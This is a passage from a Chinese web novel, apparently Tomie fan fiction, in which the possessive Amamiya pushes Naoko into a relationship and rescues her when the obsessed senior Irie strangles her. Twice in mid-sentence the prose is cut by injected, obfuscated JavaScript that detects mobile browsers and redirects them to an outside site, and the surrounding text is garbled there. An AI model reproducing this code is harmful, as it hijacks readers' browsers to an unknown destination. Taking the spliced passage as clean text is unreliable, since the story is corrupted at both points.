奈绪子的哭声戛然而止，被雨宫掐着脸胡乱地擦了擦眼泪：“奈绪子，你这种蠢样看起来可真够恶心的。擦干净你的眼泪，快进去吧。” 她用力在他腰间掐他的软肉，以表达自己的不满。 “还不是你害的？入江前辈可是我的初恋啊！” 他不为所动：“我只是让一切回归原样不是吗？反正你以前的人生里只有我，奈绪子你早该习惯了。” 等她准备发火的时候，雨宫及时把巴菲叉子塞进她手里。 “快点吃吧，晚了我可不会等你。” 奈绪子只好一边哭一边吃，一边还在数落他： “我的一切，都被雨宫君你毁了。” “哈，你不就是喜欢那种做作的伪君子类型吗？那家伙就是装得好点而已。”说着，他拿起旁边的纸巾，轻柔地给她擦了擦唇角。 “你在发疯吗？”她惊得从椅子上跳了起来。 他殷红的唇翘起，问道：“奈绪子酱，你不是喜欢这种虚伪的类型吗？” 奈绪子将巴菲勺子挡在身前：“你还是赶紧变回去吧。快把那个毒舌又恶劣的雨宫君还给我。” 他在一旁冷嗤一声。 “最后再给你五分钟。” “五分钟根本吃不完吧？” “哈，还不是因为你和那个丑八怪耗太多时间了？” 她只好坐回去，把脸埋在巴菲里猛吃。 结果当然吃不完，她将送的那一份打包了起来，准备拿回去给川濑美里女士吃。 夜晚躺在被窝里，奈绪子还是习惯性地浏览起了入江前辈的社交账号。 想到对方温柔的视线，她不由觉得鼻尖酸酸的。 正当她满腹酸水时，属于入江前辈的头像跳动了两下，跳出来一条信息。 是前辈！ 她迫不及待地点进，看到的却是冰冷的话语： 【川濑，你可以把雨宫君的联络方式给我吗？看在我们关系还不错的份上。】 就像被人兜头泼了盆凉水，奈绪子炽热的心脏猛地冷却下来。 假如入江前辈可以不这么直白，她都不至于如此难过，就好在他在明明白白地告诉她： 她根本就无法战胜雨宫君嘛。 以前入江前辈总会在入睡前对她发晚安的，想起这些，她就有些想哭。 她正纠结着该怎么回复入江怜央，毕竟她不应该随便地把雨宫君的联系方式给别人，而且私心里，她也不想给。 不过还没等她想好婉拒的说辞，电脑屏幕就突然跳出来一条账号异地登录的消息。 肯定是雨宫富江。 奈绪子直觉他又要做些什么糟糕的事，手忙脚乱地一阵捣鼓，终于在十分钟后成功把雨宫君挤了下去，不过已经晚了。 因为雨宫君已经用一种极度犀利和恶毒的言辞，将入江怜央劈头盖脸地骂了一顿。 大概有十几条，不过入江前辈一句也没回复。 “……” 她连指尖都在颤抖，连忙在下面敲字道歉，虽然也不知道是不是还来得及。 过了大概有两分钟，对面才回复： 【啊，是的，我猜到了。是雨宫君发的吧？连羞辱人的姿态也如此高高在上呢……】 【……对不起！入江前辈，你生气了吗？】 【怎么会呢……我感激还来不及，雨宫君……我会截图好好保存的……】 没生气就好。 奈绪子松了口气。 不过没多久，他就收到了来自雨宫富江的简短的讯息： 【删了他。】 至于删了谁，当然是不言而喻。 奈绪子手指轻抬，把雨宫富江从联系人列表删除了。 雨宫君大概气得不轻，因为他接连发来好几条好友申请，夹杂着对入江怜央恶劣的辱骂和贬低，当然被她无一例外地忽略了。 不过当她侧躺着昏昏欲睡时，身后的窗台就传来某种轻微的动静。 她本以为是风太大，门窗没关紧，没想到回过头时，看见的却是雨宫君贴在窗玻璃上的、愤怒的脸。 奈绪子被吓了一大跳。 雨宫屈起手指敲了敲窗沿，用口型警告她：“把我的好友加回去。” 她揉了揉眼睛，试图驱散这种不切实际的幻觉，不过两分钟后，眼前的场景却没有半分改变。 奈绪子从床上跳了下去，连拖鞋也来不及穿，就一把将窗子拉开了。 “你疯了吗？这里可是二楼！”她怕引起川濑美里女士或者其他邻居的注意，压低了嗓音。 “把我的好友加回去，奈绪子。” “加就加，你先进来啊！” 他白皙美貌的脸抽动了两下，重复道：“把我的好友加回去，奈绪子。” 奈绪子没办法，只好拿过手机当着他的面通过了他的好友申请。 他这才恢复正常，从窗外爬了进来，她已经吓傻了，倚靠着墙壁流眼泪。 “雨宫君，你，你已经疯了？” 雨宫又恢复了那副云淡风轻的正常样子，眯起眼捏了捏她的脸：“你才是疯了。不过好像已经很久没进过奈绪子你的房间了呢——从初中以后。” 他在屋里逛了两圈，评价道：“真小啊。” 在初中以前，雨宫进她的房间，简直是如入无人之地。不过那之后奈绪子进入青春期，有了自己的小秘密，就不太乐意放他进来了。 他抬手把墙上的标靶取了下来：“这中间贴的是我的照片吗？奈绪子，你看起来很讨厌我啊。” “那完全是因为雨宫君你总惹人生气吧？就像今晚这样，明明可以走大门的不是吗？顺着水管爬上来是要做什么……” 雨宫半垂下眼，居高临下地盯着她，语气半真半假：“这是为了让奈绪子你长记性，下次不要再做同样的事情，惹我生气。” “这……这种话应该由我来说才对吧？明明妥协的人总是我。” “是吗。”他在奈绪子那张不大的上床躺下，“既然这样的话，今晚奈绪子你就妥协让我睡在这里吧。有奈绪子身上的味道，好香。” “喂喂喂，雨宫君你不要得寸进尺啊！”她抓住他的手想把他拉起来，反而被他捏着挠了挠掌心。 “反正以前也没少睡不是吗？” 奈绪子无力地踢了他一脚：“请不要说这种让人误会的话好吗？明明以前都还是没长大的小豆丁吧。” 她这才发现雨宫穿的还是睡衣，居然就这样顺着水管从楼下爬了上来…… 假如让人拍到的话，估计明天的报纸头条就会是： 「惊！男子衣着不雅夜爬邻居窗台为哪般」。 不过经他这么一打岔，奈绪子很快就忘了有关入江怜央的事。 “雨宫君？雨宫君。” 她喊了两声，雨宫都没有回答。 他安安静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706477|173552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静地躺在她粉色的床单上，双眼紧闭，眼下还有浓重的乌青，看起来像是困极睡着了。 就连她凑上前摸了脸也没有反应，拔头发也是。 这下奈绪子开始苦恼了，因为她根本不知道该拿这么大个活人怎么办。 万一要是被川濑美里女士看到了，她要完蛋的吧…… 不过也说不定，美里女士看起来对雨宫君相当满意。 为了不捅出大娄子，她小心在雨宫旁边跪坐，捏着他耳朵喊：“喂！雨宫君！醒——醒——你该回你家里去睡啊。” 没有回应。 她正准备捏起另外一只耳朵喊的时候，却见他不知道什么时候已经睁开了眼，与她四目相对。 “吵死了啊，奈绪子。” 似乎被她垂落的发丝搔得有些痒，雨宫抬起手，把她的乱发别到了她耳后。 “明明过分的人是你才对吧？怎么还要……” “闭嘴。” 一只温热的大手捂住了她的双眼，难得温柔的嗓音传来，像无奈，也像叹息。 “为什么总用这种眼神看着我呢？真是恶心死了啊，奈绪子。” 她拍开那只可恶的手：“哈，怎么恶心了？你不觉得自己很过分吗？雨宫君。” 奈绪子还准备和他翻旧账，但他的眼皮一开一合，眼看就要闭上了。 来不及多想，她伸出手，强硬地抻住他耷拉的眼帘：“不准睡啊混蛋！我还没说完呢！” 雨宫君已经睡着了。 他就这么躺在她的床尾，穿着睡衣，睡着了。 “喂，你！” 这种行为简直就是一种无言的示威。 在多次试图将他唤醒无果后，奈绪子怀着一肚子火，给他盖了张薄毯。 春夏交接的天气，并不太冷，但这并不妨碍她在心里诅咒他感冒。 这么大个人躺在她的被子上，让她只好紧贴着他的位置睡下。 房间里很安静，她几乎觉得自己能听见属于另一个人的轻微的呼吸声。 原以为会失眠，但没想到她很顺利地入睡了，并且忘了要在睡前浏览入江前辈的社交账号这回事。 反正是周末，奈绪子毫无心理压力地起晚了。 她本想一觉睡到大中午，但鼻尖总传来某种毛茸茸的动静，痒痒的。 奈绪子几度伸手拂开，但它下一秒又会锲而不舍地贴上来。 等她慢吞吞地掀起眼帘，面前就是雨宫君那张放大的、完美的脸。 就算是再挑剔的人，也无法从这张脸上挑出任何瑕疵。但不知道为什么，看久了却总让人觉得脊背发凉。 有时候甚至会让奈绪子心里产生一种诡异的陌生感。 他把捏起的碎发一松，表示：“奈绪子，我饿了。” 奈绪子刚睡醒，思绪还没回笼，不过脑子在“你怎么会在这里”和“你是谁”之间做了选择： “哈，我在做梦吗？” 话音刚落，她的脸就被人毫不客气地捏了捏。 “不是哦，奈绪子不是在做梦哦。” 她从床上弹跳起身：“你怎么会在这里？” “比起这种无关紧要的事，现在更重要的应该是填饱我的肚子吧。还有……”雨宫诡异地停顿了一下，房门处就传来川濑美里女士的敲门声。 “诶，奈绪子，你醒了吗？虽然是周末，但也不能睡得太晚哦。该起床吃早餐了。” 9. 第九章 眼见门把就要被旋开，奈绪子急得大喊：“醒了！妈妈，先别进来——” 她边喊，边试图把雨宫往衣柜里塞。 不大的衣柜里当然塞不下一个过度生长的成年男性，雨宫的脸上毫无羞愧，甚至还有闲心逗她： “奈绪子你这么心虚做什么？我们可没有做什么过分的事啊……至少现在还没有。” 好在川濑美里女士只是轻笑了一声，表示理解：“好吧，我该早点明白的，我们奈绪子酱也该到了有小秘密的年纪呢。那好吧，要快点出来哦。” 脚步声渐行渐远，她这才松了口气。 否则她真不知道该怎么向妈妈解释，这么大的雨宫君出现在她房间的事。 看起来，雨宫君也不会为她解释半句呢。 回过头的时候，她却发觉雨宫君正以一种审视的视线紧盯着她：“奈绪子你对我没有小秘密的，对吧？” “这是你该纠结这些的时候吗？你该想想要怎么在妈妈没发现的情况下离开我家——尤其还是在你穿着睡衣的情况下。” 他还是一副无所谓的表情：“那就不离开好了，奈绪子你只要记得定时投喂我就好了。” “滚啊，我才不愿意呢。” “奈绪子。” “嗯？” 他坐在她的旁边，左手绕到她身后，撑在她的床上，离她很近。奈绪子就能感觉到他的呼吸轻微扑打空气的动静。 “喂，奈绪子。” 她有些不耐烦：“有什么事情你大可直说啊。” “奈绪子你是想要谈恋爱对吧？”他盯着她的眼睛，表情有一丝说不出来的忐忑——有生之年能在雨宫富江的脸上看到这种表情，也是挺见鬼的。 “……” “反正无论是谁都没关系吧？奈绪子你和我谈恋爱吧。” 脑海里传来一声巨响，把奈绪子炸得晕晕乎乎：“哈，什么、什么？” “明明听到了吧？我说，”他贴近她的耳侧，用一种甜得发腻的语气重复了一遍，“奈绪子你，和我谈恋爱吧。” 她过载的脑子重启了几次，才加载成功：“雨宫君，你是饿得昏头了吧。” 奈绪子可不觉得自己有这种，被万人迷偏爱的魅力，所以根本没当真，只把这当成雨宫捉弄她的其中一种缺德方式。 她站起身，到洗手间匆匆洗漱了一番：“好吧，我一会儿偷偷给你端一份早餐进来。柜子里有一次性毛巾和洗漱用品，你自己拿一下吧。” 奈绪子关上房门的时候，还能听见雨宫若有似无的冷笑声。 嗯……哪里又惹他生气了吗？ 趁着妈妈没注意，她偷偷藏了几只包子，端进房间时，却不见雨宫君的身影。 她吓得趴在窗台往下看，还好，没出现什么穿着睡衣的尸体。 看来是顺利地又顺着水管爬下去了。 她因此松了口气。 不过明明可以走大门的不是吗？ 这难道是雨宫君不为人知的爱好吗…… 前几天奈绪子收到了新买的游戏卡带。 是个好评率相当高的乙女游戏，里面的男主之一还是她最喜欢的温柔型。 她刚玩了个试用，就觉得无法自拔，好不容易到了周末，她决定要玩一整天。 也当做是失恋的一种安慰吧。 虽然想起入江前辈，她心里还是会涌起一股难受。 提起入江怜央，奈绪子居然真的在下一秒就收到了他的消息，糟糕的是，问的还是有关雨宫君的事。 她勉强回复了几句，对方见问不出什么来，几句后就开始已读不回。 分明并没有完全失恋，但这种情况明显比失恋更让人伤感，心上人对自己的好朋友一见钟情什么的。 尽管很迟钝，她也察觉到了入江前辈试图与她撇清关系的意思，就比如说，称呼已经从亲昵的“川濑酱”“奈绪子酱”，变成冷冰冰的“川濑”了。 这种事情该怨恨入江前辈或者雨宫君吗…… 她也搞不清楚。 不过心上人毕竟可以换，可是雨宫君几乎已经成为了她家人般的存在，不管怎么样，她都没办法真的对他生气。 而且在某些时候，对上他沉静的双眼，她会打心底里产生一丝一毫类似于愧疚的情绪。 说她软弱也好，愚蠢也好，总之她完全不可能把雨宫君完全驱逐出自己的生活。 虽然有时候他是挺过分的。 等奈绪子再登录上社交软件时，就发现不知道什么时候雨宫君又把入江前辈骂了一顿。 不过看起来前辈乐在其中，两人有来有回，聊得还算热火朝天——如果雨宫君不是在辱骂人的话。 她不敢多看，匆匆合上手机。 宅宅的生活就是这么平淡无奇，奈绪子花了两天时间打通了那个游戏的五个结局，不眠不休。 到了上学那天，连脚步都是虚浮的。 “奈绪子，回魂。”一只手在她眼前招了招，试图唤回她的神智。 雨宫君恢复了平日里对她的态度，就好像周末时发生的那段插曲不存在。 她则把这件事当成雨宫富江的黑历史，珍藏在心底，等他什么时候惹她不高兴了，就翻出来算账。 ——就像雨宫君也总在两人吵架时，拿她小时候扮成花嫁钻进他被窝里说事一样。 “别晃了，头晕。” 他捧住她的脸，揉了两把：“这完全是因为你玩游戏过度吧？” 奈绪子甚至没有力气反抗，被他半拖半拎地带到学园。 刚走进大门，她就远远地看见了个熟悉的身影，站在树丛后，小心地朝这边看。 是入江怜央，不知道等多久了。 雨宫似乎没发现他，拉着奈绪子的背包将她换了个方向：“走这边。” 人群很快就围了过来，入江前辈被淹没在人潮中，她就放弃了前去打招呼的想法。 不过在下午的体育课，她落单的时候，就被突然窜出来的入江怜央拦住了。 他看起来有几分憔悴，眼球上布满红血丝，唇边也有一圈没剃的胡茬，和以前那个意气风发的前辈判若两人。 “川濑。” 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706478|173552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差点不敢认：“入江……前辈？” “可以把雨宫君的联系方式给我吗？” 居然还没放弃！ 她朝四周围扫了一圈，没察觉到雨宫的靠近，才小声道：“抱歉啊，入江前辈，这毕竟是雨宫君的隐私，我不能……” 话没说完，面前突然爆发出一阵轰隆声——入江怜央竟突然发疯，把整排桌椅都推倒了。 “川濑奈绪子，你是故意的吧？” “啊？什么？” “你想独占雨宫君吧？所以才不愿意让我接近他，对吧？” 脑袋正处理眼前这复杂的场景时，奈绪子感觉到身后传来一股熟悉的力道，将她扯到了角落。 “哈，我就说奈绪子你怎么这么久还没来找我，原来是见这种人来了。” “不是的……我只是过来拿几张纸，偶然才和前辈碰上……” 奈绪子望向入江，却见他正用目光舔舐雨宫君的全身，连指尖都在兴奋得发抖。 两只外凸的眼球迸发出某种贪婪的光芒，他不住地重复着舔唇和吞咽的动作，好似下一秒就要忍不住扑上去撕咬人。 她不禁打了个寒战。 “好了，快走吧。”雨宫推了她一把，“晚了就要迟到了。” “可是这些桌椅……” 他头也没回：“是谁做出来的，自然就由谁负责把它们恢复原样。” 等走到空旷开阔的操场，雨宫才开始数落她：“我再晚来两分钟，奈绪子你就要挨打了。” “怎么可能？”她想也不想就反驳，“入江前辈和你可不一样，他很温柔的。” 他冷笑了一声：“哈，这么说来，奈绪子你被暴躁的我打过吗？” “这……这倒没有。” 他冷哼了一声，没作回答。 仔细想起来，雨宫君不但没对她动过手，还救过她好几次呢。 嗯？为什么她要说“救过好几次”？ 奈绪子蹙起眉，绞尽脑汁想从记忆里翻出这些事，但无一例外都没成功。 “雨宫君，你记不记得，七岁那年我们去湖边的事？”她按住自己的心口，仔细回想，“好像下起雨了……然后我脚滑……” 随着话说出口，心脏像被人攥紧似的发疼，她几乎无法呼吸。 雨宫君的神情也变得很古怪，眯起眼紧盯着她，似乎在思忖着什么。 好一会儿，他按住她的脑袋，在她耳边打了个响指：“没有这种事。你忘了吗？奈绪子你是只怕水的旱鸭子，我怎么可能带你去湖边。” 也不知道是不是心理作祟，这声清脆的响指过后，她就觉得那块压在自己心头的石头消失了。 雨宫君说的没错，奈绪子很畏惧水，甚至无法靠近泳池边，不过这应该是在她七八岁之后开始的。 因为有时候川濑美里女士会打趣：“明明你以前很爱玩水的呢。总央求雨宫君和我带你去湖边玩不是吗？现在连洗澡都不敢泡在浴缸里了。” “我以前好像不怕水吧？” 肩膀上落下两只手，她被强硬地掰正，对上雨宫的视线。 10. 第十章 “你怕的，奈绪子你从小就怕水，所以我们从没有去过湖边，知道吗。”他一字一顿。 奈绪子只好点头：“好吧。” 反正是早已经过去的事。 接下来她过了平淡无奇的几天。 她下午还是会到藏书室去，可惜再也没遇上过入江前辈。 但学园并不怎么大，所以偶尔还是会碰面。 即便当不成恋人，她也还是很珍惜入江前辈这个朋友，所以想和他打好关系。 但很显然他并不这么想，反而会用冷漠挑衅的眼神远远瞥她一眼。 就连社交账号也被拉黑了。 不过在某天上厕所时，奈绪子偷听到几个女同学的聊天，得知了这完全是雨宫君干的好事。 “最近雨宫君好像和入江怜央走得很近哦。” “那么川濑呢？” “她早该被雨宫君抛下了。” “听说，雨宫君亲自去告知入江前辈，让他离川濑远点呢。” “啊？这又是为什么呢？” …… 她们的声音越来越远了，奈绪子从隔间里冒出头来，但也没听清楚接下来的话。 手机震动了两下，传来雨宫君不耐烦的催促： 【还没好吗？该吃饭了奈绪子。】 天台上的视野非常好，她刚走出来，就被刺目的日光晃得闭了下眼。 脸上贴过来一瓶温凉的水，雨宫君道：“拿着吧。” 见她不说话，他满脸不耐地帮她拧开了瓶盖：“真麻烦啊你，奈绪子。” “雨宫君，是你让入江前辈远离我的吗？” 他不以为意，抬手帮她把便当打开：“少个丑八怪打扰奈绪子你，有什么不好吗？” “当然不好，入江前辈也算是我朋友。谁无缘无故丢了个朋友，也会伤心的吧？” 他故意问：“哈，只是朋友吗？奈绪子你原来还会给朋友写情书的吗？我怎么从没有收到过呢？” 连珠炮似的发问让她不由得有些心虚：“你不要混淆视线。为什么让入江前辈远离我？” “你怎么会知道这种事？是谁和你说的吗？” 看见她支吾的神色，雨宫君很快明了了她的意思：“又是从洗手间里听说的。奈绪子你倒是很适合当记者呢。” “……” 他沉默了两秒，脸上的表情一下子变得很冷淡：“我不喜欢你身边出现其他人，这个理由足够了吧。好了，奈绪子，不要再讨论这些无关紧要的人和事，”他把自己的便当往她面前一推，拿过她的，“你该吃饭了哦。” “我现在不想吃。” 事实上看清便当里的食物时，奈绪子就后悔了，因为这很显然是为她而准备、相当豪华的寿司。 “奈绪子准备因为那个丑八怪和我置气吗？” “没有。我只是觉得雨宫君，你实在太过分了。” 雨宫君凑近了一点，那两瓣殷红得甚至显得有几分糜烂的唇微微扬起：“那有什么办法呢？如果奈绪子足够厉害的话，就可以把他抢夺回去不是吗？ “奈绪子你，就是只适合活在我雨宫富江的羽翼下。说起来，还得感谢川濑美里女士呢。给我生下了奈绪子这种人。” “……” 这句话怎么听怎么不对劲。 讨厌死了！ 偏偏她无法反驳。 “奈绪子你真的以为入间两阳是什么好人吗？那天你鬼哭狼嚎的时候，我都看到了，是他在跟踪你。” “前辈明明叫入江怜央啊好不好。”她问，“不过，你说的是哪一天？” 他没有回答这个问题，却悄悄压低了嗓音，换了副暧昧的语气： “奈绪子，和我恋爱吧。我长得比那丑八怪要好看得多，你不会吃亏的，对不对。” 雨宫君说得没有错。 的确有无数人想和他谈恋爱，柜子里永远塞满了情书，落到他身上的目光数不胜数。 之所以升起恋爱这种朦朦胧胧的念头，她觉得大概是因为她有点沉迷轻小说和乙女游戏。 还有入江前辈的温柔。 以上这些都令情窦初开的少女有所遐想。 其实仔细想想，和雨宫君试试似乎也不错呢。虽然他性格很糟糕，但至少长得很好看不是吗？ 这世上应该也不会有比雨宫富江长得更好看的人了。 “反正只是试一试而已呢。”他低声诱哄。 雨宫盯着她，不知是看穿了奈绪子内心的想法，对她势在必得；还是对自己的美貌有所信任，总之是早早猜到了结局。 他露出一个笑容，温柔地帮她把碎发捋到耳后：“你好好想想吧，奈绪子。天黑之前给我答案，否则的话，我不介意晚上去爬奈绪子你的房间窗户哦。” 奈绪子知道他言出必行，所以暗暗叹了口气。 雨宫君大概只是觉得很有趣而已，她安抚自己。 这么想着，在放学一起回家的时候，她同意了：“好吧，雨宫君。只是这件事，千万不能让妈妈知道。” 这种青春期的事情，她不好意思和妈妈说，更何况一起谈恋爱的人还是雨宫君。 “刚成为男女朋友，奈绪子你就要对男朋友提要求了吗？” 奈绪子吓得垫脚捂住了他的嘴，脸也跟着红了：“你不要说这种让人为难的话啊！” 他面色如常地拍开她的手：“这可是事实呢。但是谈了恋爱，我却连个名分也没有，奈绪子你不应该给我一些补偿吗？” 这话说得低沉而暧昧，等她回过神来，就发现不知道什么时候，雨宫君已经躬下身贴了过来。 轻微的呼吸打在她的眼睫上，痒痒的。 还有一种说不出来的、独属于雨宫君的幽香。 “……” “怎么又不说话了？” 奈绪子的脸被掐住，捏了捏。 “啊，对了。”他像突然想起了些什么，“奈绪子请也给我写一封情书吧。” 她生锈的脑子艰难地转动了一下：“……啊？为什么？” 给从小一起长大的雨宫君写情书什么的，也太难为情了。 “既然奈绪子能给别人写，为什么不能给我写呢？”他的语气变得有些阴恻恻的，瞳孔居然像猫科动物似的骤然缩小许多，“没想到，第一位收到奈绪子情书的人，竟然不是我。” “这种事情也要争个高下吗？雨宫君你该长大了，去认识更多的人。我也是这样。” 话刚说完，她就感觉自己的 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“这就着急了吗奈绪子？”他挑了挑眉，“我还没有念到下面你抄的歌词呢。” “你！赶紧给我忘掉啊！”她紧张地朝四周看了一圈，没发现其他人，才松了口气。 “我的脑容量是有限的，同时间只能记住一封情书的内容呢。如果奈绪子想让我忘记的话，就请写一封新的吧。” 以上的话当然是这个狡猾的家伙的借口。 但死穴被拿捏着，她不得不点头同意。 雨宫君戳了戳她的脑袋：“这次可不能抄歌词哦。否则……” “知道了知道了，你真是烦人。” “还要粉红色的信纸。 “嗯，要画爱心。 “如果可以夸赞一下我，并且表达对我的喜爱，就更好了。 “称呼也不能太生疏吧……呃嗯。” 趁他正得意忘形，奈绪子狠狠地在他腰间掐了一把。 “雨宫君，你别太过分了！不知道的，还以为我这是给首相写的陈情信呢。” 骂完，她却迟迟没听见雨宫的回答。 回过头的时候，只见这位比奈绪子高了将近半米的健康男子倚靠着墙壁，紧紧捂着肚腹，满额冷汗，一副痛不欲生的样子。 这个可疑的姿势是不是特意练习过呢……怎么连这时候看起来也是那么完美。 奈绪子紧张地凑上前：“雨宫君，你怎么了？我好像没有很用力……吧？” “好疼啊……”回答她的，是雨宫痛苦的低吟。 等她小心地靠近，雨宫就伸手拽住了她的手腕：“答应我吧，奈绪子。否则我就告诉川濑女士，你对我动手了。” “……幼稚！好吧，好吧，我写就是了。但是，你最好赶紧把那封信忘记。” 闻言，他意味不明地冷哼了一声，等奈绪子望过去，他就又恢复了那副贱兮兮的样子。 “知道了。” 哇，这个善于变脸的家伙！ 她正准备对他这种行为进行严厉谴责，就感觉雨宫抓在她腕上的手缓缓滑落，转而与她十指相扣。 痒痒的，很是灼热。 11. 第十一章 “别再装了，我们赶紧回家吧。”她有些不自在，把人拉起来，拖着走了两步。 雨宫则乖巧地任她牵着，细而长的影子笼罩着奈绪子，像是温柔的拥抱。 原本除了牵手以外，一切都还算正常。 不过等她在红绿灯前停下时，就感觉到肩上一沉——雨宫君故意把脸枕在了她的肩窝里。 “你又在做什么……” “好香啊，这里有奈绪子的味道。”他隔着背包抱紧她，“换洗发水了吗？不过，也很香就是了。” 奈绪子红着脸肘击他：“喂，很多人朝这边看啊！赶紧给我起来。你今天是不是有些兴奋过头了？” “喜欢奈绪子。” 说完这句话，雨宫就沉默下来，呼吸时喷洒的热气打在她的脖颈间，痒痒的。 听说从小一起长大的人，因为某种原因，所以很难对彼此产生类似于爱情这种情绪。 奈绪子对此很认可，因为这让她免于着迷于雨宫君的魅力，并不必成为被他贬低和嘲讽的「ネズミ（老鼠）」中的一员。 比起喜欢，她更觉得雨宫富江这种行为近似于玩乐，或者把它当成自己魅力的一种证明。 「看啊，就连奈绪子你，也没办法抵抗我的脸呢。」貌美的恶魔如是说。 总而言之，这剩下的半天，雨宫君都把自己当成一贴狗皮膏药，紧紧地黏附于她身上。 就连吃饭的时候，也要说些暧昧的话，做一些暧昧的举动。 比如说故意为她布菜或者递水，明明根本就没有这个必要。 以至于川濑美里女士都像是有所察觉，频频用奇怪的目光扫视他们两人。 不仅仅是在家里，上学时雨宫更是变本加厉。 他强烈要求要和奈绪子牵着手走进学园，理由是交往就应该这样做。 当然，这种不合理的请求被她以更坚决的态度拒绝了。 所以雨宫落后她半步，始终以一种幽怨的目光紧盯着她，看得她脊背直冒冷汗。 不过没有多久，「人気者」本人就被热情的人群淹没了，然而他冷淡的视线始终追随着她。 走出有十几步左右，她身后传来一阵喧闹声。 只听见似乎是谁被雨宫君打了，但奈绪子始终没回头。 路过一个围着栅栏的小花园时，不知道从哪里传来某种窸窸窣窣的声响，入江怜央面色阴沉沉的，将她围在了某个死角。 才几天不见，他看起来更憔悴了，唇边的胡茬剃得不太齐整，油腻的发丝耷拉在额角，整个人显得黯淡无光。 她不敢靠近，试探性地打了个招呼：“入江……前辈？” 入江的嫌恶地瞪着她，牙关紧咬，垂在腿侧的双手也渐渐握成拳头，闪烁着某种唬人的绿光。 奈绪子有些恐惧，小心翼翼地后退了一步，眼睛开始扫视着周围的出口。 “川濑奈绪子，真不知道，你是凭什么总能在雨宫君身边晃悠。真是……碍眼极了啊。” 她后退一步，入江就跟着上前一步，等回过神来，她已经被人牢牢堵在了墙角。 “还在期待着雨宫君会来救你吗？”他讽刺道，“川濑，你怎么有自信站在雨宫君旁边呢？ “明明你并没有什么令人喜欢的地方……可雨宫君偏偏对你关注有加，却对我如此冷淡！ “……啊，对了。是不是川濑你害的？是你让雨宫君冷落我的，对不对？” 像是找到了某种能够支持自己的理由，他红着眼睛，兴奋地来回走动。 “对，没错。就是川濑你害的。所以只要把你杀了——” 说着，这位瘦削的男子就回过身，猛地暴起，掐着脖颈将奈绪子按在了墙壁上。 他一定用尽了浑身气力，因为她能清楚地看见，他苍白的臂膀上浮现的几根明显的青筋。 不过十几秒，奈绪子就感觉呼吸困难，不得不拼命挣扎，用长指甲抓挠那只横在她脖颈上的手。 视线开始模糊，脑袋充血，她知道，此刻她眼里一定盈满了恐惧。 可她不想死。 好在她彻底昏过去的前一秒，面前就晃过一道模糊的人影，钳制的气力一松，她四肢无力，顺着墙壁缓缓滑落。 耳边传来入江的痛呼，他似乎被谁狠狠踹开，摔进了灌木丛里。 她从没有像现在一样渴望空气，当雨宫身上的幽香随着氧充满肺部的那一刻，一双修长的臂膀将她接进了怀里。 温暖的，熟悉的。 紧绷的神经放松下来，她终于得救了：“雨宫……君……” 雨宫愤怒的质问传来：“奈绪子你这个笨蛋，不是说了让你好好待在我身边，你差点就死了知道吗？” 她已经没了回嘴的气力，缓缓眯上了眼。 “还有你，丑陋的老鼠。”雨宫终于抬眼，冷睨着恐慌的入江。 因为栽进灌木丛，入江脸侧、脖颈侧都是被尖利的枝丫划出的小伤口，血液顺着皮肤缓缓下落，看上去有些瘆人。 但他完全顾不上，涕泗横流地膝行过来抱紧雨宫的小腿，却被他冷酷地踹开。 “雨宫君，雨宫君……都是川濑害的不是吗？都是她，如果没有她，我们一定可以幸福快乐地生活在一起！一定是她引诱了你，一定是……一定是……” 雨宫微微眯起眼审视着他，毫不掩饰自己的刻薄与厌恶：“该死的老鼠，丑八怪。离她远点，知道吗？我怎么可能看上你这种丑陋愚蠢的杂鱼？” 看到奈绪子脖颈间那道显眼的掐痕时，他更是怒不可遏，又狠狠踹了入江一脚。 “如果不是因为……”他一顿，低头瞥了她一眼，及时止住了话头，冷哼一声，“否则我怎么会接近你这种带病菌的老鼠？真是恶心透了……给我滚远点，知道吗？” 入江被他踹得滚到一边，但没一会儿又爬起来，匍匐在他脚侧，做祈祷状： “不可以的雨宫君，没有你我活不下去啊……求求你了雨宫君，请不要对我说这样伤人的话……” 雨宫后退一步，躲开了他的碰触，一字一顿：“活不下去，那么，你就去死吧。” 他的尾音上翘，似乎在回味着这种想象带来的愉悦感。 “最好现在就去死。” 说完，他就抱着怀里的奈绪子，往医务室走去。 等奈绪子再度睁开眼， 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上了一些消肿的药，又被他“消毒”了一番，奈绪子感觉自己好多了，准备回到教室上课。 雨宫跟在她身后，手里拎着她的背包：“需要我抱着你吗？奈绪子，我现在很乐意帮你这个忙哦。” “说了不需要啊。” 如果真的被他公主抱着进教室，恐怕其他人的视线会把她刺成筛子吧。 况且，班里的其他同学本来就对她不怎么待见。 “你不觉得你这样走路很不方便吗？” “我伤的是脖子又不是脚，根本不影响走路好不好。” “可是我很想抱着奈绪子呢。” “……” 奈绪子还是比较习惯这家伙冷嘲热讽时的毒舌样子。 “不可以吗？只是抱一抱也不可以吗？”他的手臂自然垂落，包裹住她的手。 她回过头准备恶狠狠地瞪他一眼，却正好撞进了这家伙低垂的眼眸里。 看上去居然有点可怜。 “……好吧，但是只能在没有人的地方。学园里是绝对不可以的。” 说完，她冷酷地掰开了他的手。 两人一前一后走进教室的时候，大半个班级的人都同时望过来，目送他们在座位上坐下。 铃木君僵硬地把脑袋转过来，声音凉飕飕的：“雨宫君，你回来了。是发生什么了吗？今天迟到了呢。” 平时雨宫应该会冷淡地让他滚，但今天似乎难得的心情不错。 